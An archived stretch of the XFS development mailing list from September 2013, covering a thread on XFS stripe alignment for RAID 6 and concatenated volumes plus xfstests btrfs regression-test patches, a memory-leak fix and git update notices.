> >> simultaneously and IO latency is important to keep low (e.g. > >> realtime video ingest and playout). > > > > So does this mean that I should avoid having devices in RAID with a > > differing amount of spindles (or non-parity disks) > > If I would like to use Linear concatenation LVM? Or is there a best > > practice if this instance is not > > avoidable? > > Above, Dave was correcting my oversight, not necessarily informing you, > per se. It seems clear from your follow up question that you didn't > really grasp what he was saying. Let's back up a little bit. > > What you need to concentrate on right now is the following which we > stated previously in the thread, but which you did not reply to: > > >>>> What really makes a difference as to whether alignment will be of > >>>> benefit to you, and how often, is your workload. So at this point, > you > >>>> need to describe the primary workload(s) of your systems we're > >> discussing. > >>> > >>> Yup, my thoughts exactly... > > This means you need to describe in detail how you are writing your > files, and how you are reading them back. I.e. what application are you > using, what does it do, etc. You stated IIRC that your workload is 80% > read. What types of files is it reading? Small, large? Is it reading > multiple files in parallel? How are these files originally written > before being read? Etc, etc. > > You may not understand why this is relevant, but it is the only thing > that is relevant, at this point. Spindles, RAID level, alignment, no > alignment...none of this matters if it doesn't match up with how your > application(s) do their IO. > > Rule #1 of storage architecture: Always build your storage stack (i.e. > disks, controller, driver, filesystem, etc) to fit the workload(s), not > the other way around. > > > > > On 27 September 2013 02:10, Stan Hoeppner > wrote: > > > >> On 9/26/2013 4:58 PM, Dave Chinner wrote: > >>> On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: > >>>> On 9/26/2013 3:55 AM, Stewart Webb wrote: > >>>>> Thanks for all this info Stan and Dave, > >>>>> > >>>>>> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is > >> the > >>>>>> amount of data written across the full RAID stripe (excluding > parity). > >>>>> > >>>>> The reason I stated Stripe size is because in this instance, I have > >> 3ware > >>>>> RAID controllers, which refer to > >>>>> this value as "Stripe" in their tw_cli software (god bless > >> manufacturers > >>>>> renaming everything) > >>>>> > >>>>> I do, however, have a follow-on question: > >>>>> On other systems, I have similar hardware: > >>>>> 3x Raid Controllers > >>>>> 1 of them has 10 disks as RAID 6 that I would like to add to a > logical > >>>>> volume > >>>>> 2 of them have 12 disks as a RAID 6 that I would like to add to the > >> same > >>>>> logical volume > >>>>> > >>>>> All have the same "Stripe" or "Strip Size" of 512 KB > >>>>> > >>>>> So if I where going to make 3 seperate xfs volumes, I would do the > >>>>> following: > >>>>> mkfs.xfs -d su=512k sw=8 /dev/sda > >>>>> mkfs.xfs -d su=512k sw=10 /dev/sdb > >>>>> mkfs.xfs -d su=512k sw=10 /dev/sdc > >>>>> > >>>>> I assume, If I where going to bring them all into 1 logical volume, > it > >>>>> would be best placed to have the sw value set > >>>>> to a value that is divisible by both 8 and 10 - in this case 2? > >>>> > >>>> No. In this case you do NOT stripe align XFS to the storage, because > >>>> it's impossible--the RAID stripes are dissimilar. In this case you > use > >>>> the default 4KB write out, as if this is a single disk drive. > >>>> > >>>> As Dave stated, if you format a concatenated device with XFS and you > >>>> desire to align XFS, then all constituent arrays must have the same > >>>> geometry. > >>>> > >>>> Two things to be aware of here: > >>>> > >>>> 1. With a decent hardware write caching RAID controller, having XFS > >>>> alined to the RAID geometry is a small optimization WRT overall write > >>>> performance, because the controller is going to be doing the > optimizing > >>>> of final writeback to the drives. > >>>> > >>>> 2. Alignment does not affect read performance. > >>> > >>> Ah, but it does... > >>> > >>>> 3. XFS only performs aligned writes during allocation. > >>> > >>> Right, and it does so not only to improve write performance, but to > >>> also maximise sequential read performance of the data that is > >>> written, especially when multiple files are being read > >>> simultaneously and IO latency is important to keep low (e.g. > >>> realtime video ingest and playout). > >> > >> Absolutely correct, as Dave always is. As my workloads are mostly > >> random, as are those of others I consult in other fora, I sometimes > >> forget the [multi]streaming case. Which is not good, as many folks > >> choose XFS specifically for [multi]streaming workloads. My remarks to > >> this audience should always reflect that. Apologies for my oversight on > >> this occasion. > >> > >>>> What really makes a difference as to whether alignment will be of > >>>> benefit to you, and how often, is your workload. So at this point, > you > >>>> need to describe the primary workload(s) of your systems we're > >> discussing. > >>> > >>> Yup, my thoughts exactly... > >>> > >>> Cheers, > >>> > >>> Dave. > >>> > >> > >> -- > >> Stan > >> > >> > > > > > > -- Stewart Webb --e89a8f3b9da98a614304e75d7861 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Hi Stan,

    Apologies for not directly ans= wering -=A0
    I was aiming at filling gaps in my knowledge that I c= ould not find in the xfs.org wiki.

    My workload for the storage is mainly reads of single large file= s (ranging for 20GB to 100GB each)
    These reads are mainly linear = (video playback, although not always as the end user may be jumping to diff= erent points in the video)
    There are concurrent reads required, estimated at 2 to 8, any more wou= ld be a bonus.
    The challenge of this would be that the reads need= to be "real-time" operations as they are interacted with by a pe= rson, and each
    read operation would have to consistently have a low latency and obtai= n speeds of over 50Mb/s

    Disk write speeds are not = as important for me - as they these files are copied to location bef= ore they are required (in this case
    using rsync or scp) and these operations do not require as much "= real-time" interaction.


    =
    On 27 September 2013 14:09, Stan Hoeppner <stan@hardwarefreak.com> wrote:
    On 9/27/2013 7:23 AM, Stew= art Webb wrote:
    >> Right, and it does so not only to improve write performance, but t= o
    >> also maximise sequential read performance of the data that is
    >> written, especially when multiple files are being read
    >> simultaneously and IO latency is important to keep low (e.g.
    >> realtime video ingest and playout).
    >
    > So does this mean that I should avoid having devices in RAID with a > differing amount of spindles (or non-parity disks)
    > If I would like to use Linear concatenation LVM? Or is there a best > practice if this instance is not
    > avoidable?

    Above, Dave was correcting my oversight, not necessarily informing yo= u,
    per se. =A0It seems clear from your follow up question that you didn't<= br> really grasp what he was saying. =A0Let's back up a little bit.

    What you need to concentrate on right now is the following which we
    stated previously in the thread, but which you did not reply to:

    >>>> What really makes a difference as to whether alignment wil= l be of
    >>>> benefit to you, and how often, is your workload. =A0So at = this point, you
    >>>> need to describe the primary workload(s) of your systems w= e're
    >> discussing.
    >>>
    >>> Yup, my thoughts exactly...

    This means you need to describe in detail how you are writing your files, and how you are reading them back. =A0I.e. what application are you<= br> using, what does it do, etc. =A0You stated IIRC that your workload is 80% read. =A0What types of files is it reading? =A0Small, large? =A0Is it readi= ng
    multiple files in parallel? =A0How are these files originally written
    before being read? =A0Etc, etc.

    You may not understand why this is relevant, but it is the only thing
    that is relevant, at this point. =A0Spindles, RAID level, alignment, no
    alignment...none of this matters if it doesn't match up with how your application(s) do their IO.

    Rule #1 of storage architecture: =A0Always build your storage stack (i.e. disks, controller, driver, filesystem, etc) to fit the workload(s), not
    the other way around.

    >
    > On 27 September 2013 02:10, Stan Hoeppner <stan@hardwarefreak.com> wrote:
    >
    >> On 9/26/2013 4:58 PM, Dave Chinner wrote:
    >>> On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote:=
    >>>> On 9/26/2013 3:55 AM, Stewart Webb wrote:
    >>>>> Thanks for all this info Stan and Dave,
    >>>>>
    >>>>>> "Stripe size" is a synonym of XFS sw, wh= ich is su * #disks. =A0This is
    >> the
    >>>>>> amount of data written across the full RAID stripe= (excluding parity).
    >>>>>
    >>>>> The reason I stated Stripe size is because in this ins= tance, I have
    >> 3ware
    >>>>> RAID controllers, which refer to
    >>>>> this value as "Stripe" in their tw_cli softw= are (god bless
    >> manufacturers
    >>>>> renaming everything)
    >>>>>
    >>>>> I do, however, have a follow-on question:
    >>>>> On other systems, I have similar hardware:
    >>>>> 3x Raid Controllers
    >>>>> 1 of them has 10 disks as RAID 6 that I would like to = add to a logical
    >>>>> volume
    >>>>> 2 of them have 12 disks as a RAID 6 that I would like = to add to the
    >> same
    >>>>> logical volume
    >>>>>
    >>>>> All have the same "Stripe" or "Strip Si= ze" of 512 KB
    >>>>>
    >>>>> So if I where going to make 3 seperate xfs volumes, I = would do the
    >>>>> following:
    >>>>> mkfs.xfs -d su=3D512k sw=3D8 /dev/sda
    >>>>> mkfs.xfs -d su=3D512k sw=3D10 /dev/sdb
    >>>>> mkfs.xfs -d su=3D512k sw=3D10 /dev/sdc
    >>>>>
    >>>>> I assume, If I where going to bring them all into 1 lo= gical volume, it
    >>>>> would be best placed to have the sw value set
    >>>>> to a value that is divisible by both 8 and 10 - in thi= s case 2?
    >>>>
    >>>> No. =A0In this case you do NOT stripe align XFS to the sto= rage, because
    >>>> it's impossible--the RAID stripes are dissimilar. =A0I= n this case you use
    >>>> the default 4KB write out, as if this is a single disk dri= ve.
    >>>>
    >>>> As Dave stated, if you format a concatenated device with X= FS and you
    >>>> desire to align XFS, then all constituent arrays must have= the same
    >>>> geometry.
    >>>>
    >>>> Two things to be aware of here:
    >>>>
    >>>> 1. =A0With a decent hardware write caching RAID controller= , having XFS
    >>>> alined to the RAID geometry is a small optimization WRT ov= erall write
    >>>> performance, because the controller is going to be doing t= he optimizing
    >>>> of final writeback to the drives.
    >>>>
    >>>> 2. Alignment does not affect read performance.
    >>>
    >>> Ah, but it does...
    >>>
    >>>> 3. =A0XFS only performs aligned writes during allocation.<= br> >>>
    >>> Right, and it does so not only to improve write performance, b= ut to
    >>> also maximise sequential read performance of the data that is<= br> >>> written, especially when multiple files are being read
    >>> simultaneously and IO latency is important to keep low (e.g. >>> realtime video ingest and playout).
    >>
    >> Absolutely correct, as Dave always is. =A0As my workloads are most= ly
    >> random, as are those of others I consult in other fora, I sometime= s
    >> forget the [multi]streaming case. =A0Which is not good, as many fo= lks
    >> choose XFS specifically for [multi]streaming workloads. =A0My rema= rks to
    >> this audience should always reflect that. =A0Apologies for my over= sight on
    >> this occasion.
    >>
    >>>> What really makes a difference as to whether alignment wil= l be of
    >>>> benefit to you, and how often, is your workload. =A0So at = this point, you
    >>>> need to describe the primary workload(s) of your systems w= e're
    >> discussing.
    >>>
    >>> Yup, my thoughts exactly...
    >>>
    >>> Cheers,
    >>>
    >>> Dave.
    >>>
    >>
    >> --
    >> Stan
    >>
    >>
    >
    >




    --
    =
    Stewart Webb
    --e89a8f3b9da98a614304e75d7861-- From JBacik@fusionio.com Fri Sep 27 08:45:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1D9427F53 for ; Fri, 27 Sep 2013 08:45:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8392AC004 for ; Fri, 27 Sep 2013 06:45:47 -0700 (PDT) X-ASG-Debug-ID: 1380289546-04bdf02f22151bc20001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id LCA9tqFHQBDtCAqa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 06:45:46 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 7F3CE7C0423 for ; Fri, 27 Sep 2013 07:45:46 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1380289546; bh=Ko7K/mRhhIthYOiX4K46Cb+s8GGjeMFci4zaOFo4L9g=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=q6K38f1AFpuYI8OdONeUXzfVNWQHZsjJky3yC389UIZ0pvhgk9tfPBxwuHTtLCMA3 dIJm01Kp1or1CF7zaj+Gwu42Bs2B6nutRGERp4tnOQ1HWsbqRM4vi3b7ZchUqv9kFW KsXHeNRXXR4C9UF1Fz22v/+DrS+E5x5PBPMKalT0= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx1.fusionio.com with ESMTP id kLpORLnEFG0tgBhZ (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Fri, 27 Sep 2013 07:45:45 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.158.1; Fri, 27 Sep 2013 07:45:45 -0600 Date: Fri, 27 Sep 2013 09:45:44 -0400 From: Josef Bacik To: Liu Bo CC: , Subject: Re: [PATCH] xfstests/btrfs: do not test btrfs/010 with autodefrag Message-ID: <20130927134544.GI18681@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] xfstests/btrfs: do not test btrfs/010 with autodefrag References: <1379481475-10842-1-git-send-email-bo.li.liu@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <1379481475-10842-1-git-send-email-bo.li.liu@oracle.com> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1380289546 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Sep 18, 2013 at 01:17:55PM +0800, Liu Bo wrote: > btrfs/010 is going to create a fragmented file, however, with autodefrag > this is impossible, so just skip the test when we're with autodefrag. > > Signed-off-by: Liu Bo I'd rather you just strip out the autodefrag option if it is there and add it back once the test is done (or hell just remove it, mount, and add it back). Thanks, Josef From JBacik@fusionio.com Fri Sep 27 08:55:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BC2DB7F54 for ; Fri, 27 Sep 2013 08:55:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 821B98F8049 for ; Fri, 27 Sep 2013 06:55:41 -0700 (PDT) X-ASG-Debug-ID: 1380290140-04bdf02f21151c980001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id I9qTQVNXkKgAXoLH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 06:55:40 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id E504E7C0423 for ; Fri, 27 Sep 2013 07:55:39 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1380290139; bh=tBDhZj5CFeCm/FD9iYu2Y0P++yzIMl89qADKRfXcp8M=; h=From:To:Subject:Date; b=eaQyDFRVaz5P/89xHI1boU5RKzjjNkAlq2yQfMmpH8y2IloW0rl4tGMuQo/hPFh4p SYXAaNzW3oa75K5W91MqjUp4SrxtK9v2xbP6H85mMOhlVbnViXdGaL/rNr5o/rDf7u eqCmce2h/dMIjKQE9KQ5ag6Kt7OXQjtNkfpuSnDE= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx2.fusionio.com with ESMTP id QAnLFdQMm6Sxvslr (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Fri, 27 Sep 2013 07:55:39 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.158.1; Fri, 27 Sep 2013 07:55:38 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: btrfs/014: add a regression test for snapshot creation Date: Fri, 27 Sep 2013 09:55:37 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: btrfs/014: add a regression test for snapshot creation Message-ID: <1380290137-5484-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1380290140 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140976 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature We had a regression where you couldn't snapshot a file system if you mounted it ro and then remounted it rw. This is a test that does just that to make sure we don't have this problem again. I ran the test without the fix and it blew up, and then applied the fix and verified that it passed. Thanks, Signed-off-by: Josef Bacik --- tests/btrfs/014 | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/014.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 64 insertions(+) create mode 100644 tests/btrfs/014 create mode 100644 tests/btrfs/014.out diff --git a/tests/btrfs/014 b/tests/btrfs/014 new file mode 100644 index 0000000..8302f5f --- /dev/null +++ b/tests/btrfs/014 @@ -0,0 +1,61 @@ +#! /bin/bash +# FS QA Test No. btrfs/014 +# +# Regression test to make sure we can create a snapshot after mounting with +# readonly and remounting rw. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Fusion IO. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ + +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount -o ro +_scratch_mount -o rw,remount + +$BTRFS_UTIL_PROG sub snap $SCRATCH_MNT $SCRATCH_MNT/snap >> $seqres.full 2>&1 \ + || _fail "couldn't create snapshot" + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/014.out b/tests/btrfs/014.out new file mode 100644 index 0000000..db5250b --- /dev/null +++ b/tests/btrfs/014.out @@ -0,0 +1,2 @@ +QA output created by 014 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 8a168d5..3a5747f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -16,3 +16,4 @@ 011 auto 012 auto quick 013 auto quick +014 auto quick -- 1.8.3.1 From tinguely@eagdhcp-232-140.americas.sgi.com Fri Sep 27 09:02:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2AA417F53 for ; Fri, 27 Sep 2013 09:02:09 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 090C38F8064 for ; Fri, 27 Sep 2013 07:02:06 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8RE25RI003188 for ; Fri, 27 Sep 2013 09:02:05 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8RE25ee003187; Fri, 27 Sep 2013 09:02:05 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130927140104.515578025@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 27 Sep 2013 09:00:55 -0500 From: tinguely@sgi.com To: xfs@oss.sgi.com Subject: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans Content-Disposition: inline; filename=xfs-fix-leak-in-xlog_recover_add_to_trans.patch Free the memory in error path of xlog_recover_add_to_trans(). Normally this memory is freed in recovery pass2, but is leaked in the error path. Signed-off-by: Mark Tinguely --- Found by Coverity (134683) in userspace, same patch applies there also. fs/xfs/xfs_log_recover.c | 1 + 1 file changed, 1 insertion(+) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1585,6 +1585,7 @@ xlog_recover_add_to_trans( "bad number of regions (%d) in inode log format", in_f->ilf_size); ASSERT(0); + free(ptr); return XFS_ERROR(EIO); } From bpm@oss.sgi.com Fri Sep 27 09:18:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 2B9357F58; Fri, 27 Sep 2013 09:18:37 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v3.12-rc1-5-g997def2 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 566055d33a91ddddb1cb31220b01ac4abd2d2bdd X-Git-Newrev: 997def25e4b9cee3b01609e18a52f926bca8bd2b Message-Id: <20130927141837.2B9357F58@oss.sgi.com> Date: Fri, 27 Sep 2013 09:18:36 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 997def2 xfs: fix node forward in xfs_node_toosmall from 566055d33a91ddddb1cb31220b01ac4abd2d2bdd (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 997def25e4b9cee3b01609e18a52f926bca8bd2b Author: Mark Tinguely Date: Mon Sep 23 12:18:58 2013 -0500 xfs: fix node forward in xfs_node_toosmall Commit f5ea1100 cleans up the disk to host conversions for node directory entries, but because a variable is reused in xfs_node_toosmall() the next node is not correctly found. If the original node is small enough (<= 3/8 of the node size), this change may incorrectly cause a node collapse when it should not. That will cause an assert in xfstest generic/319: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 Keep the original node header to get the correct forward node. (When a node is considered for a merge with a sibling, it overwrites the sibling pointers of the original incore nodehdr with the sibling's pointers. This leads to loop considering the original node as a merge candidate with itself in the second pass, and so it incorrectly determines a merge should occur.) Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers [v3: added Dave Chinner's (slightly modified) suggestion to the commit header, cleaned up whitespace. -bpm] ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_da_btree.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Fri Sep 27 09:19:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 9E18F7F61; Fri, 27 Sep 2013 09:19:02 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. v3.12-rc1-5-g997def2 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 566055d33a91ddddb1cb31220b01ac4abd2d2bdd X-Git-Newrev: 997def25e4b9cee3b01609e18a52f926bca8bd2b Message-Id: <20130927141902.9E18F7F61@oss.sgi.com> Date: Fri, 27 Sep 2013 09:19:02 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 997def2 xfs: fix node forward in xfs_node_toosmall from 566055d33a91ddddb1cb31220b01ac4abd2d2bdd (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 997def25e4b9cee3b01609e18a52f926bca8bd2b Author: Mark Tinguely Date: Mon Sep 23 12:18:58 2013 -0500 xfs: fix node forward in xfs_node_toosmall Commit f5ea1100 cleans up the disk to host conversions for node directory entries, but because a variable is reused in xfs_node_toosmall() the next node is not correctly found. If the original node is small enough (<= 3/8 of the node size), this change may incorrectly cause a node collapse when it should not. That will cause an assert in xfstest generic/319: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 Keep the original node header to get the correct forward node. (When a node is considered for a merge with a sibling, it overwrites the sibling pointers of the original incore nodehdr with the sibling's pointers. This leads to loop considering the original node as a merge candidate with itself in the second pass, and so it incorrectly determines a merge should occur.) Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers [v3: added Dave Chinner's (slightly modified) suggestion to the commit header, cleaned up whitespace. -bpm] ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_da_btree.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) hooks/post-receive -- XFS development tree From JBacik@fusionio.com Fri Sep 27 09:27:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 754F17F5E for ; Fri, 27 Sep 2013 09:27:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1DDC9AC002 for ; Fri, 27 Sep 2013 07:27:37 -0700 (PDT) X-ASG-Debug-ID: 1380292056-04bdf053875b10a0001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id 8Z4a3TGpjKmCZEy6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 07:27:36 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 130EA7C0427 for ; Fri, 27 Sep 2013 08:27:36 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1380292056; bh=Nmff6cYknWAvycT8v9yxvG2E4roZy3He6N8BfPvme3I=; h=From:To:Subject:Date; b=kpJ6IcgL88zfG6leHvayOPBz3HlkzBaRtgxwV22oD4MK3VV1CKWqFUrC6iI8n0buU HkEnNnDlkkGfHdGeR2Q7UgdCIO7dnpflh6HVgkF+guFjgYxFEhuRXPWKRJevepxG6i 6vD5UtEeqfWzVJqy4Ny1cLXMFI/EXQx0BK9NzbDg= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx2.fusionio.com with ESMTP id rqaEJ7H5DcHWWIA9 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Fri, 27 Sep 2013 08:27:35 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.158.1; Fri, 27 Sep 2013 08:27:34 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: btrfs/015 regression test for prealloc with balance Date: Fri, 27 Sep 2013 10:27:33 -0400 